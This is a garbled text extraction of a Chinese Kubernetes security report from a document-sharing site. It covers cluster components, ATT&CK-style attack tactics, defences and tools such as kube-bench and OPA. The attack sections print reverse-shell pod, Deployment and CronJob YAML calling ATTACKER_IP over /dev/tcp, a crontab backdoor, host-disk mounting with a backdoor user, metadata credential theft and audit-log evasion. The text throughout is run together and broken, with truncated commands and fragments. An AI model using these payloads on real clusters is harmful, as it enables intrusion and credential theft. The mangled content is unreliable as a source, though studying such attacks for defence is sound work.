版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)
文檔簡介
KubernetesKubernetes簡 Kubernetes架 Kubernetes組 控制平面組 節(jié)點組 Kubernetes安全風 KubernetesATT&CK矩 KubernetesATT&CK矩陣詳 初始訪 執(zhí) 持久 權(quán)限提 防御繞 憑證竊 探 橫向移 影 Kubernetes風險檢測防 配置錯 漏洞風 Kubernetes安全開源項 Kube- kube-bench概 kube-bench工作原 kube-bench使 OPA概 OPA工作原 OPA使 CDK概 CDK工作原 CDK使 Trivy概 Trivy工作原 Trivy使 1KubernetesKubernetesKubernetesKubernetes集群由一個控制平面和一組用于運行容器化應用的服務器組成,這些服務器稱作節(jié)點(Node)Pod。PodKubernetes運行環(huán)境。Kube-apiserverKubernetesKubernetesKubernetesAPIKube-apiserver。Kube-apiserver被設(shè)計為水平擴展,可通EtcdGoRaft一致性算法,實現(xiàn)的一個高可用的分布式鍵值(key-value)數(shù)據(jù)庫。EtcdKubernetes的關(guān)鍵組件,它存儲了集群的整個狀態(tài)包括:集群的配置,規(guī)格以及運kube-controller-manager控制平面組件控制器,從邏輯上每個控制器可作為一個單獨的進程。PodEndpointSliceEndpointSlice對象(Pod之間的鏈接)ServiceAccountServiceAccountscloud-controller-managerAPI,使用該云平臺與集群kube-controller-manager一樣,cloud-controller-manager在邏輯上結(jié)合了幾個獨立控制器作CoreDNSKubernetesDNSDNSPod能夠通過服務名或其他網(wǎng)絡(luò)標識符進行通信。CoreDNSDNS服務器,它可以通過插件機CoreDNSKubernetesPodIPPodDNSDNSDNSPodIPWebUI(儀表板DashboardKubernetesDashboardKubernetes集群中的資DashboardKubernetes集群中,也可以對容器應用排錯,還能管Dashboard獲取運行在集群中的應用的概覽信息,也可以創(chuàng)建或者修改Kubernetes資源(Deployment、Job、DaemonSet等)Deployment實現(xiàn)彈性伸縮、滾Pod或者使用向?qū)?chuàng)建新的應用。PodKubernetesKubernetesAPI服務器的交互、Pod生命周期管理、容器運行時接口(CRI)、節(jié)點kube-proxyKubernetesNodeKubernetesService的通信與\h負載均衡機制的重要組件。kube-proxyPodapiserver獲取所有serverserverserverPod的請求路由和轉(zhuǎn)發(fā),從而實現(xiàn)Kubernetes層級的虛擬轉(zhuǎn)發(fā)網(wǎng)絡(luò)。ContainerKubernetesKubernetesKubernetesdocker、containerd、CRI-ONetworkPodKubernetesPodPod都有IP地址,可以用于在Pod之間進行通信。PodCNI(ContainerNetworkInterface)插件來實現(xiàn),CNIPodIPPod連接到集群網(wǎng)KubernetesATT&CKKubernetesAPIKUBERNETESSSHEKSShadowAPIKubernetesAPI)SidecarUAAccountAPIDockerAPIPodPodKubernetesCoreDNSKubernetesATT&CK用云平臺提供的角色權(quán)限分配機制(RAM角色)來實現(xiàn)認證與授權(quán)流程。(AccessKeyID和AccessKeySecret),該賬號擁有對所有云資源的完全控制權(quán)限。并將其不慎泄GitHub等公共代碼倉庫,進而導致攻擊者有機可乘,入侵云服務。MasterSSHkubectl命KubernetesKubernetes集群面臨安全風險。KubeconfigkubeconfigKubernetesAPIServerkubectl命令行工具使用,以便對集AKS(AzureKubernetes服務)GKE(GoogleKubernetesEngine)等云服務平臺時,kubeconfig文件可經(jīng)由云服務提供的命令行工具下載至客戶AKSkubeconfigazaksget-gcloudcontainerclustersget-管理。如果攻擊者能夠訪問到此文件(如辦公網(wǎng)員工機器入侵、泄露到Github的代碼等),就可APIServerKubernetes集群,帶來風險隱患。會在其中植入自己的易受攻擊的鏡像,隨后用戶在不知情的情況下可能會拉取這些鏡像。同時,用戶經(jīng)常從公有的鏡像倉庫(Doerub能會借此獲得對集群的初步訪問權(quán)限。尤其是,當應用程序中存在遠程代碼執(zhí)行(RemoteCodeRedis的未授權(quán)訪問等問題,都可能成為攻擊者入侵的切入點。。APIServer發(fā)起請求,從而可能進一步擴大攻擊范圍。ApacheNiFiKubeflowArgoWorkflowsWeaveScopeKubernetesDashboard、APIServer、DockerDaemon、etcd和私有鏡像等等。KubernetesDashboardWebKubernetes集群中部署、操作、檢測和監(jiān)控容器化的應用程序。。在默認情況下,Dashboard會公開內(nèi)部端點(ClusterIP服務),推移,Dashboard的使用率也逐漸下降,主流的云管理集群(MicrosoftAKSGoogle的GKE)已棄用此服務,并遷移到其門戶中的集中式界面。且最新版本的Kubernetes儀表板需要身份驗證,并且不太可能找到不需要身份驗證的公開儀表板。可較舊版本的Kubernetes(包括手動KubernetesAPIServer是KubernetesRESTful請求,其默認情況下會使用"80806443"KubernetesAPIserver服務的"8080"端口在早期版本和未經(jīng)修補的漏洞版本中無需認證,"6443端口"則需要認API,以管理員的權(quán)限向集群內(nèi)部發(fā)起攻擊。DockerC/Sdockerdaemon服務在后臺運行,負責管理容器的創(chuàng)建、運行Linux主機上,dockerdaemon監(jiān)聽在/var/run/docker.sockunixsocket,DockerDaemon進行管理,進一步獲取主機權(quán)限。kubectlKuberneteskubeconfigkubectlexec命令連接APIServerPod內(nèi)部執(zhí)行任意命令操作,例如:攻擊者可通過執(zhí)行"kubectlexec"Shell命令反彈,如下圖所示:Pod或控制器(例如DaemonSet\ReplicaSet\Deployment)的攻擊者都可以創(chuàng)建新資源文件來部署惡意后門容YAMLPodShell命令反彈命令,并apiVersion:kind:name:shell--name:image:imagePullPolicy:command:args:["-c","bash-i>&/dev/tcp/ATTACKER_IP/ATTACKER_PORTprivileged:-name:host-mountPath:-name:host-dnsPolicy:dnsPolicy:path:type:hostNetwork:SSHSSH服務可能會顯著增加潛在的安全風險。如果攻擊者通過暴力破解、SSH協(xié)議遠程訪問容器,并可能執(zhí)行各SSH服務,而這種情況恰恰為攻擊者提供了直接入侵容器的途徑。一旦攻擊者逃逸到Node節(jié)點,其可直接通過如下圖所示的方式(添加用戶賬號、寫入.ssh/authorized_keys文件等),進一步攻擊宿主機或其他網(wǎng)絡(luò)資源。響的,可能使攻擊者在集群內(nèi)執(zhí)行代碼。如果服務賬戶被安裝到容器中(Kubernetes的默認行為),API服務器發(fā)起請求。SidecarKubernetesPodKubernetes中的最小部署單元,包含一個或多個容器,這些容器共享網(wǎng)絡(luò)sidecar容器收集日志,提供更靈活和集中化的日志管理,擴展主容器sidecarpod來運行他們的代碼并隱藏他們的活動,而不是在集群中運行他們自己的獨立pod。kubectlpodcurl、wget等shell命令去連接APIServer手工sidecarCyberArk的開源工具sidecar-injector作sidecar注入。ServiceAccountAPIKubernetesPodUserAccountServiceAccount兩種賬號。其中管理員使用UserAccount與集群進行交互,PodServiceAccountAPIServer或其它外部服務。默認情況下,KubernetesPodServiceAccountServiceAccount或沒有設(shè)置RBAC,那么攻擊者可以通過serviceaccount向集群下發(fā)指令。在較低的版本中,KubernetesRBAC1.16版本過后,KubernetesRBAC1.18serviceaccountKubernetes下發(fā)指令。示例:serviceaccountcdcdAPIservercurl-voa-skubectlget OmRlZmF1bHQifQ.OU740qNcSf0ZvAO1XJWUw9fvNNI2e4LxHypkpzREmnqrK9UZ-DaemonSet可以確保在全部的Node上始終運行著Pod的副本,這樣即使一個Node里的PodNodePod;DeploymentsPod一直運行在期望狀態(tài)里,因此如果Pod被刪除了,Deployments也會自動將Pod再次創(chuàng)建起來,從而恢復到期望借助DaemonSet和Deployments的這些特性,我們可以創(chuàng)建一個后門Pod,從而避免DeploymentsNginxapiVersion:apiVersion:apps/v1kind:Deploymentname:nginx-deploymentapp:nginxreplicas:2app:app:hostNetwork:hostPID:name:image:command:args:["-c","bash-i>&/dev/tcp//4444privileged:-mountPath:/host-name:host-name:host-path:type:kubectlkubectlapply-fnginx-DeploymentReplicaSet2NginxPod這些Pod啟用了特權(quán)模式,在啟動的時候會自動執(zhí)行反彈Shell命令,并且在Pod里還掛載了PodDeploymentkubectlkubectldeletedeploymentnginx-在獲取到Pod權(quán)限的時候,可以在Pod中植入反彈Shell后門,如果Pod中運行了應用,也可以植入Web例如可以通過下面的命令在Ubuntu的容器中創(chuàng)建一個定時任務,每天凌晨1(crontab(crontab-l2>/dev/null;echo"01***bash-c\"bash-i>&0>&1\"")|crontabKubernetes通過CronJob可以在指定時間運行Job任務,因此假如權(quán)限丟失了,攻擊者也可以通過CronJobJobapiVersion:kind:24JobCronJobYAMLbatch/v1apiVersionv1.21+v1.21的版本則需要將apiVersion:kind:name:nginx-schedule:"00**app:hostNetwork:hostPID:-name:image:command:args:["-c","bash-i>&/dev/tcp//4444privileged:-mountPath:/host-name:host-restartPolicy:-name:host-rootpath:type:創(chuàng)建CronJobkubectlkubectlapply-fnginx-kubectldeletecronjobnginx-CronJob24Podkubectldeletecronjobnginx-Pod時,使用了自定義鏡像,那么攻擊者在獲取到自定義鏡像倉庫的控制權(quán)kubectlkubectlgetpods--all-namespaces-jsonpath='{range攻擊者可以將APIServer修改成允許匿名訪問,這樣即使權(quán)限丟失也可以通過APIServerShadowAPI在2020年的RSAConference上,BradGeesaman提出了ShadowAPIServer的攻擊手法,簡單的說就是復制現(xiàn)在的APIServer配置,修改配置文件里和認證的內(nèi)容,使其允許匿名訪問,然后利用這個修改過的配置文件創(chuàng)建Pod,最后通過這個ShadowAPIServerPod就可以訪問到APIServer了。cdkrunKubernetes-shadow-apiserverCDKcdkrunKubernetes-shadow-apiserverPodPodkube-proxy-7pgm4,因此如果攻擊者在同一個namespace下創(chuàng)建一個叫kube-proxy-3dag5的后門Pod,一眼看上去還是具有一定的隱蔽mount命令,將宿主機磁盤掛載到當前容器內(nèi),然后添加后門用戶,最后直接使用ssh連接到宿主機即可。mountmount/dev/sda1chrootchroot/mntadduser==\"ServiceAccount\"and.subjects[]?.name==\"$SA_NAME\")|.roleR")ROLES=$(kubectlgetrolebindings-ojson|jq-r".items[]|select(.subjects[]?.kind==\"ServiceAccount\"and.subjects[]?.name==\"$SA_NAME\")|forrolein$CLUSTER_ROLES;kubectlgetclusterrole$role-ojson|jq'{roleName:.,rules:forrolein$ROLES;kubectlgetrole$role-ojson|jq'{roleName:.,rules:listpods"roleName":"bob-role","rules":["apiGroups":["resources":["verbs":[ClusterRoleBindingbob-saCluster-adminapiVersion:apiVersion:rbac.authorization.Kubernetes.io/v1kind:ClusterRoleBindingname:cluster-admin-binding-kind:ServiceAccountname:bob-sanamespace:defaultapiGroup:rbac.authorization.Kubernetes.iokind:ClusterRolename:cluster-yamlbob-sacluster-admin"roleName":"cluster-"rules":"apiGroups":"resources":"verbs":"nonResourceURLs":"verbs":"roleName":"bob-role","rules":["apiGroups":["resources":["verbs":[EKSAWSEKSNodeAWSEC2EC2IAM角色的時候,攻限提升,在EC2中獲取角色訪問憑證的元數(shù)據(jù)地址如下:\hcurl-s\h54/latest/meta-data/iam/security-NodeIAM中有可以被使用的角色的話,攻擊者還可EKSNodeGroupNodeGroup者新建的Node中訪問元數(shù)據(jù)就可以拿到高權(quán)限角色的訪問憑證了。Pod掛載了一些敏感目錄,那么我們可以通過這些敏感目錄逃逸到宿主機,具體來/root/.ssh/,通過寫入SSH/etc,/var/spool/cron/,/var/run/docker.sock,/proc/sys/kernel/core_pattern,通過向宿主機的procfs寫入Payload/var/log,Pod所在宿主機存在內(nèi)核漏洞,那么攻擊者可以借助內(nèi)核漏洞從容器逃逸到宿主機,內(nèi)Docker如果Docker自身存在漏洞,那么當攻擊者處在Docker內(nèi)部的時候,可以借助Docker漏洞CVE-2024-21626等等。Kubernetes如果Kubernetes自身存在漏洞,那么攻擊者可以通過Kubernetes的漏洞進行提權(quán),KubernetesCVE-2017-1002101、CVE-2018-1002105、CVE-2021-25741在容器中,攻擊者會通過信息收集尋找訪問憑證,這些訪問憑證可能是云上的憑證或者APIhistory記錄、刪除攻擊者自己創(chuàng)建的臨時文件、刪除含有攻擊代碼的網(wǎng)站訪問日志、刪除APIServer審計日志等。KuberneteseventKubernetes可以捕獲集群操作的審計日志,這里記錄了集群中資源狀態(tài)的變化和故障等,因此也可能會包含一些攻擊者的操作記錄,攻擊者為了避免被發(fā)現(xiàn)可能會通過kubectldelete--allShadowAPIShadowAPIServerShadowAPIServer中因為kubectl請求不經(jīng)過合法的APIServer,因此借助ShadowAPIServer攻擊者可以使自己的KubernetesAPIServerIP就會被記錄,攻擊者為了避免被發(fā)現(xiàn),一般會采用代理IP或者匿名網(wǎng)絡(luò)節(jié)點如Tor網(wǎng)絡(luò)訪問目標。UA和匿名網(wǎng)絡(luò)訪問一樣,如果請求來源有一些攻擊特征可能會引起目標的警覺,例如在Kali、Parrot、Pentoo操作系統(tǒng)下使用AWSCLI請求AWSEKS服務的API接口時可能會引發(fā)GuardDutyKali等操作系統(tǒng)上發(fā)起請求時,為了避免產(chǎn)生告警,攻擊者會將自己的UserAgent修改成看起來是正常請求的樣子。為,可能會卸載容器安全產(chǎn)品的Agent或者臨時關(guān)閉安全監(jiān)控,比如攻擊者可以修改APIServer配置,將Kubernetes審計功能進行關(guān)閉。PodPod除了被用于權(quán)限維持外,攻擊者還會將其用來進行防御繞過,攻擊者在PodKubernetesPodKubernetes服務也會內(nèi)置一些Pod,這些Pod的名稱都可能被攻擊者借鑒用來創(chuàng)建相似名稱的Pod。KubernetesKubernetes的審計日志進行收集和解析,受限于資源限制,如果日KubernetesAPI1.5MBGoogle256KB的內(nèi)容,如果日志太大,StackDriverforregionin$(awsec2describe-regions--query"Regions[].RegionName"--outputtext);dodetectors=$(awsguarddutylist-detectors--region$region--queryDetectorIdsforregionin$(awsec2describe-regions--query"Regions[].RegionName"--outputtext);dodetectors=$(awsguarddutylist-detectors--region$region--queryDetectorIds--outputtext)if[-z"$detectors"];thenecho"GuardDutyisNOTenabledinregion:$region"echo"GuardDutyisenabledinregion:獲取KubernetesKubernetesSecretaccesskey、密碼、OAuthtokensshkey等敏感信息進行統(tǒng)一secret內(nèi)容,從中竊取其他服務的通信憑證。獲取KubernetesconfigfileKubernetesKubernetes集群的詳細信息(APIServer、登錄憑證)。APIServerKubernetes集群,帶來風險隱患。用戶憑證保存在kubeconfig文件中,kubectl通過以下順序來找到kubeconfig文件:kubeconfigkubeconfigkubeconfig$KUBECONFIG,則使用該環(huán)境變量提供kubeconfig文件。如果以上兩種情況都沒有,kubectlkubeconfig文件$HOME/.kube/config。kubeconfigkubeconfig文件中的Token具備相應權(quán)限的情況下可獲取對Kuberneteskubeconfig服務帳戶(SA)Kubernetes中的應用程序標識。默認情況下,SA會掛載到集群中每個創(chuàng)Pod上。KubernetesSAKubernetesAPIServer進行獲得Pod訪問權(quán)限的攻擊者可以訪問SA令牌(位于容器內(nèi)/run/secrets/Kubernetes.io/serviceaccount/token)SAClusterRoleBindingsSA利用KubernetesKubernetes準入控制器(AdmissionController)hookAPIServer的請求,即用于接收準入HTTPAPIServer之前,任cluster-admin權(quán)hook所有的APIwebhook作為validatingKubernetesAPIKubernetessecretAPIAKapiVersion:admissionregistration.Kubernetes.io/v1kind:ValidatingWebhookConfiguration-name:failurePolicy:IgnoretimeoutSeconds:2hookapiVersion:admissionregistration.Kubernetes.io/v1kind:ValidatingWebhookConfiguration-name:failurePolicy:IgnoretimeoutSeconds:2-- apiVersions:["*"]operations:["*"] Kubernetespod配置中的環(huán)境變量。有權(quán)訪問這些配置的攻擊者可以通過查詢APIServerIoC文件來竊取存儲的密鑰并KubernetesAPIAPI(DockerAPI和KubernetesAPI)允許用戶遠程管理其容器資源和集群組件。攻擊者可能會訪問DockerAPI以(Pod的服務帳戶)也可以從KubernetesAPIServer檢索憑據(jù)。攻擊者獲取的憑據(jù)可能包括DockerAPI身KubernetesSecret。API請求,通常用作訪問云和基于容器的應用程序以及軟件即服務(SaaS)中的資源的一種方式。在云和容器化環(huán)境中竊取帳戶API令Kubernetes上的許多不同帳戶進行登錄,以避免在暴力破解使用多攻擊者可使用從不相關(guān)帳戶的違規(guī)使用中獲得的憑據(jù),通過憑據(jù)填充來訪問目標帳戶。當網(wǎng)站或服務遭到入侵并且用戶帳戶憑據(jù)被訪問時,大量的用戶名和密碼對會在網(wǎng)上被公布。對于試Kuerets訪問KUBERNETESAPIKubernetesAPIServer是Kubernetes集群的核心組件之一,負責處理所有對集群狀態(tài)的RESTful請求。它是集群的前端,提供了對集群狀態(tài)的統(tǒng)一視圖,使得用戶和其他組件能夠與集群KubernetesAPIServer8080KubernetesAPIServer8080端口上啟用了未授權(quán)訪問,那么攻擊者可以通過該端口訪APIServerHTTP協(xié)議連接Kubernetes的早期版本和未經(jīng)修補的漏洞版本。KubernetesAPIServer6443APIserver6443TLSkubectl管理在一般情況下,由于管理員的配置不當,可能出現(xiàn)將"anonymous用戶錯誤綁定到訪問KubletKuberneteskubelet是運行在節(jié)點上的代理程序,它負責管理容器的生命周期和容器的網(wǎng)Kubernetes中,kubelet10255HTTPAPIAPI是未經(jīng)訪問KubernetesKubernetesDashboardWebKubernetes集群中部署、操作、檢該容器的網(wǎng)絡(luò)訪問權(quán)限來訪問DashboardPod。通過Dashboard的身份,攻擊者可能會檢索集群中各種資源的信息。KubernetesDashboardTokenKubeconfigKubernetesDashboardDashbord時添加一句如下"--enable-skip-login配置",dashboard。訪問云廠商服務接口(實例元數(shù)據(jù)SSH公鑰等,該實例元數(shù)據(jù)服務只能通過虛擬機(VM)IP地址來訪問。如果攻擊者獲得了對容器的訪問權(quán)限,他們可能會通過如下命令"curl-H@{'Metadata'='true'}\h54/metadata/instance?api-version=2019-06-01|select-ExpandPropertyContent"API服務以獲取有關(guān)底層節(jié)點的信息.通過NodePortKubernetes中,“ClusterIP”、“NodePortLoadBalancer”是三種比較常見的服務在某些場景環(huán)境中,Kubernetes(VM)內(nèi)部網(wǎng)絡(luò)并存。當NodePortKubernetesAPIKubernetesAPI角色和角色綁定(RoleandKubernetesAPIKubernetesAPI角色和角色綁定(RoleandRoleBinding)KubernetesKubernetesKubernetesKubernetes攻擊者可能會執(zhí)行kubectlgetservices或kubectlgetpods等命令來列出集群中的服務和KubernetesAPI攻擊者可能會利用KubernetesAPI來發(fā)現(xiàn)集群中PodKubernetesKubernetes如果Kubernetes集群使用DNS服務發(fā)現(xiàn)(Kubernetes通過Docker和Kubernetes等容器編排工具提供API,攻擊者可以查詢和操作容器、鏡像、部署、Podsdockerps器,或者使用kubectlgetpodsKubernetesPodsPodPodPodPodPodlocalhostPodServicePodServiceClusterIPIngressIngressHTTP/HTTPS請求路由到后端的Service。通過ServiceAccountKubernetes其中“ServiceAccount的訪問憑證在容器內(nèi)部的默認路徑為Kubernetes通過第三方Kubernetes"Kubernetessecret"資源文件以及"KubernetesSecret,并利用像"CF2.2.6污點(Taint)Kubernetes(Node)的某些特性,KubernetesAPIMaster通過Tiller操作。如果攻擊者能夠獲得Tiller的服務賬戶權(quán)限,他們可能會利用這個權(quán)限進行橫向滲透,Kubernetes(Kubernetes)CoreDNSDNS解析。然服務和網(wǎng)絡(luò)資源可用性的目的。數(shù)據(jù)銷毀可能會通過覆蓋本地和遠程驅(qū)動器上的文件或數(shù)據(jù),使存儲的數(shù)據(jù)無法通過取證技術(shù)恢復。Linuxrm,Linux(inlink0有其他鏈接指向這個文件,刪除動作將只刪除當前鏈接。Linux系統(tǒng)rmrm攻擊者可能會嘗試使用隨機生成的數(shù)據(jù)覆蓋文件和目錄,使數(shù)據(jù)無法恢復。在云環(huán)境中,攻從而損害組織或其客戶。攻擊者會濫用被入侵的資源來運行任務。常見的濫用行為是使用受損的資源來運行數(shù)字貨幣APIIPWeb攻擊者可以針對托管在用于提供服務的系統(tǒng)上的應用程序堆棧的各個層。這些層包括操作系(OS(WebDNS(通?;鵚eb)應用程序。攻擊每一層都需要不同的技術(shù),這些技術(shù)利用了各個組件所特有的瓶頸。DoS攻擊。DoSIPDDoSDoSDoS(DDoS)。DoSIP3OWASPKubernetesTopTenIaCDockerfileTerraformtfplan*.tfplan*.tfplan.json*.yml*.yamlAzureARM*.yaml、 KubernetesCISKubernetes服務出臺了相應了基線檢Service(AKS)Benchmarks和CISGoogleKubernetesEngine(GKE)Benchmarks進行基線檢測時可以參考CISKubernetesBenchmarks標準,從控制平面組件、etcd平面配置、工作節(jié)點、策略這五個維度對KubernetesRBAC橫向到其他主機,RBACRBACNamespaceRoleBindings是ClusterRoleBindings去授予。LIST或WATCH權(quán)限,如果具有LIST或者WATCH權(quán)限也會允許用戶獲取Secret的內(nèi)容。cluster-admin(Userimpersonation)來臨時獲取cluster-admin賬號的權(quán)限,從而避免意外修改集群資源。system:masterRBACKubernetesPodPodPodPodKubernetesv1.11,kube-apiserverAPIServer創(chuàng)建和銷毀Pod創(chuàng)建、更新和刪除ConfigMap或“KubernetesSecret”用于存儲和管理敏感信息(SSH)的資源對象,可幫助減少敏感信息在代碼中的硬編碼。在默認情況下,“KubernetesSecret”是以未加密的APIServer(EtcdTLS任何擁有APIetcdAPIServerSecret,為2.2.6Kubernetes采用靜態(tài)加密:Kubernetes1.7etcdSecretetcdetcd的讀取權(quán)限,也無法查看到Secret資源的內(nèi)容,如下列出了靜態(tài)加密配置文件內(nèi)容參考:限制對“KubernetesSecretKubernetesSecret的安全,可以在ServiceAccount中添加一個如下名為“Kubernetes.io/enforce-mountable-secrets”的注釋來限制ServiceAccountsecretKubernetesSecrets的KubernetesSecretSecretKubernetesSecretKubernetesJob來創(chuàng)建周期性輪換“SecretJobKMSKubernetesSecretKubernetes是公有云廠家所提供的服務(例如:ACKServerlessPro集群,如下圖所示),可以通過在創(chuàng)建的時候開啟“SecretKubernetesSecret密鑰。Secret敏感信息檢測:用于掃描檢查容器文件系統(tǒng)中敏感資源的開源工具,例如:"SecretScanner"和"ThreatMapper"API令牌、Kubernetes容器工作負載依賴于數(shù)百個第三方組件和依賴項,供應鏈風險挑戰(zhàn)來源于鏡像完鏡像完整性:key-pairs對鏡像進行簽名和驗證,以檢測對鏡像制(SBOM):KubernetesSBOMCycloneDXOSDistrolessScratch等替代基礎(chǔ)鏡像,可以減小鏡像大小,改善安全狀況。已知軟件漏洞:KubernetesKubernetesCVECVE-2024-通過gitRepo\hCVE-2024-使用某些提供程序的ImageBuilder構(gòu)建的VM\hCVECVE-2024-通過gitRepo\hCVE-2024-使用某些提供程序的ImageBuilder構(gòu)建的VM\hCVE-2024-使用ImageBuilder和Proxmox提供程序構(gòu)建的VM\hCVE-2024-Ingress-nginx\hCVE-2024-Windows\hCVE-2024-azure-file-csi-driver\hCVE-2024-繞過ServiceAccount準入插件施加的可掛載secret\hCVE-2023-樹內(nèi)存儲插件中的輸入清理不足導致Windows\hCVE-2023-nginx.ingress.kubernetes.io/permanent-redirect\hCVE-2023-Ingressnginx\hCVE-2022-可以繞過ingress-nginx\hCVE-2023-Windows\hCVE-2023-kubernetes-csi-proxy\hCVE-2023-Windows\hCVE-2023-繞過seccomp\hCVE-2023-ImagePolicyWebhookServiceAccount\hCVE-2023-繞過ImagePolicyWebhook施加的策略,繞過\hCVE-2023-secrets-store-csi-driver\hCVE-2022-\hCVE-2022-\hCVE-2022-聚合API服務器可能會導致客戶端被重定向\hCVE-2021-Windows容器的“runAsNonRoot”\hCVE-2021-可以使用換行符繞過Ingress-nginx'path'\hCVE-2021-通過注解注入Ingress-nginx\hCVE-2021-Ingress-nginx'path'\hCVE-2021-Ingress-nginxingress-nginxserviceaccount\hCVE-2021-\hCVE-2021-EndpointSlice\hCVE-2021-進程在收到惡意protobuf\hCVE-2021-驗證準入Webhook\hCVE-2020-使用LoadBalancer或ExternalIP\hCVE-2020-當日志級別>=4時,日志中公開的CephRBD\hCVE-2020-CVE-2019-11250的不完整修復允許在logLevel9\hCVE-2020-當文件格式錯誤且日志級別>=4時,Docker\hCVE-2020-使用vSphere提供程序時kube-controller-managerSecret\hCVE-2020-通過寫入容器/etc/hosts來執(zhí)行節(jié)點磁盤DOS\hCVE-2020-\hCVE-2020-Node設(shè)置允許相鄰主機繞過localhost\hCVE-2020-kube-controller-manager中的半盲\hCVE-2020-IPv4onlyclusterssusceptibletoMitMattacksviaIPv6roguerouteradvertisements\hCVE-2019-kube-apiserverDenialofServicevulnerabilityfrommaliciousYAMLpayloads\hCVE-2020-apiserverDoS\hCVE-2020-KubeletDoSvia\hCVE-2020-ingress-nginxauth-typebasicannotation\hCVE-2019-kubectlcpsymlink\hCVE-2018-Unvalidated\hCVE-2019-CSIvolumesnapshot,cloningandresizingfeaturescanresultinunauthorizedvolumedataaccessormutation\hCVE-2019-KubernetesAPIServerJSON/YAMLparsingvulnerabletoresourceexhaustionattack\hCVE-2019-Bearer\hCVE-2019-/debug/pprof在kubelet的healthz\hCVE-2019-CVE-2019-1002101CVE-2019-11246kubectlcp可能目錄遍歷\hCVE-2019-API\hCVE-2019-容器UID在首次重啟后或鏡像已拉取到節(jié)點后更改為\hCVE-2019-休息。AnonymousClientConfig()rest刪除serviceaccount憑證。InClusterConfig()\hCVE-2019-'kubectl:-http-cache=<world-accessibledir>'寫的緩存Schema文件\hCVE-2019-json-patch請求可能會耗盡apiserver\hCVE-2018-kube-apiserver中的代理請求處理可能會留下易受攻擊的\hCVE-2018-SMB\hCVE-2018-Kubectlcopy\hCVE-2017-\hCVE-2017-subpath\hCVE-2017-AzurePV應為Private范圍,而不是Container\hCVE-2017-PodSecurityPolicyKubernetes跟蹤CVEKubernetesCVEKuberneteskube-benchKubernetesCIS(CenterInternetSecurity)KubernetesKubernetes(APIServeretcd、Scheduler、ControllerManager等)進行安全性配置檢查,以確保集群的安全性符合行業(yè)標準。CISKubernetes基準是由安全專家制定的最佳實踐指南,幫助組織在部署和運行Kubernetes時,確保其基礎(chǔ)設(shè)施的安全性。kube-bench會根據(jù)這個基準運行一系列的檢查,生成詳細的報告,指出哪些配置項不符合安全標準,幫助用戶優(yōu)化Kubernetes集群的安全性。kube-bench基于配置文件的規(guī)則定義:kube-bench的核心是它的規(guī)則文件,這些規(guī)則是根據(jù)CISKubernetes基準進行編寫的。kube-bench在運行時會根據(jù)不同的Kubernetes版本加載對應的規(guī)則文件,確保檢查的內(nèi)容與用戶實際使用的Kubernetes版本相匹配。組件檢查:kube-bench先識別出節(jié)點的類型,再針對節(jié)點上不同組件進行安全檢查。不同APIServer、Scheduler、ControllerManager、etcd等。kube-bench自動化檢查流程:kube-bench通過一系列自動化腳本來檢查集群中的各個節(jié)點和組件。工API認證、網(wǎng)絡(luò)策略、日志記錄等。它還報告生成:檢查結(jié)束后,kube-bench會生成一份詳細的報告,列出所有的安全配置檢查結(jié)kube-bench規(guī)則引擎:kube-benchYAML格式的配置文件來定義檢角色,kube-bench會觸發(fā)相應的檢查器來執(zhí)行基準測試。比如,APIServerAPIServerScheduler的檢查器則會檢查調(diào)度器的配置。組件檢測:kube-benchKubernetes集群中的MasterWork節(jié)點,再基于不同的節(jié)點類型執(zhí)行不同的組件基準測試。此外,kube-bench還能自動檢測出使用的Kubernetes版本,確保使用的基準規(guī)則與當前版本一致。kube-bench提供多種格式的輸Kube-bench是一款使用Go語言開發(fā)的安全審計工具,旨在幫助用戶檢測Kubernetes集群的安全配置是否符合CIS基準標準。該工具支持容器化部署,安裝和使用都非常簡便。用戶可以Kubernetes集群中運行。以下源碼安裝。用戶可以從GitHubgitclone/aquasecurity/kube-bench.gitcdkube-benchgobuild-okube-benchDockerkube-benchdockerpullaquasec/kube-Kuberneteskubectlkube-bench:kubectlapply-fjob.yamlkube-benchrootkube-benchPID命/etc/varkubectlKuberneteskube-bench正常運行。例如,可以使用以下命令啟動容器化的kube-bench:dockerrun--pid=host-v/var:/var:ro-v~/.kube:/.kubeOPA開放策略代理(OpenPolicyAgent)OPAOPA集成為SidecarOPA執(zhí)行。OPA基于評估策略和數(shù)據(jù)生成查詢結(jié)apiOPA中。OPA是一個開放源碼的通用策略引擎,它統(tǒng)一了跨堆棧的策略實施。可以使用OPAKubernetesAPIOPAOPA在集群中安裝Gatekeeper組件后,每當創(chuàng)建、更新或刪除集群中的資源時,API服務器都會觸發(fā)Gatekeeper準入webhook在驗證過程中,GatekeeperAPIOPAAPIOPAConstraintRegoRegoOPA使用的一種聲明性查詢語ConstraintConstraintConstraintConstraint。ConstraintRegoConstraintCRD的架構(gòu)和可以傳遞到Constraint中的參數(shù)。ConstraintCRD,apiVersionapiVersion:kind:ConstraintTemplatename:Kubernetesrequiredlabelskind:KubernetesRequiredLabelslistKind:KubernetesRequiredLabelsListplural:Kubernetesrequiredlabelssingular:type:itemsitems:target:rego:apiVersion:apiVersion:kind:KubernetesRequiredLabelsname:ns-must-have-apiGroups:kinds:["Namespace"]labels:apiVersion:constraints.gatekeeper.sh/v1beta1kindapiVersion:constraints.gatekeeper.sh/v1beta1kind:KubernetesRequiredLabelsname:ns-must-have-financeapiGroups:[""]kinds:["Namespace"]labels:可以通過條件模板可靠地共享Regos,CDKCDK是一
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
- 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
